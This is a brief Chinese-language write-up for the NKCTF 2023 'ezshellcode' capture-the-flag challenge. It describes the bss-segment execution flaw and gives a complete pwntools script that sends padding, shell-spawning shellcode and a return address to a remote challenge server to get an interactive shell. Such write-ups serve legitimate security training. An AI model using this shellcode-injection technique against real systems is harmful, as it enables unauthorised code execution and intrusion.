NKCTF_2023_ezshellcode wp

64位shellcode题目
使用read读入,并用strncpy将读入数据复制到bss段上一处偏移处,随后执行该bss地址加上100以内随机数的偏移的地址处指令(此题随机数无效,可以直接执行bss偏移处)
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])


while True:
    try:
        # io=process("./pwn")
        io=remote("node.yuzhian.com.cn",33905)
        io.recvuntil(b"5 min!\n")
        shellcode=asm(shellcraft.sh())
        payload=cyclic(84)+shellcode.ljust(36,b"a")+p64(0x4040d4)
        # gdb.attach(io)
        # pause()

        io.send(payload)

        io.interactive()

    except:
        io.close()
        continue
        
        

# pwn部分题目的临时静态平台
# ctf.comentropy.cn
# comentropy.cn
# 8301 8302 8303 8304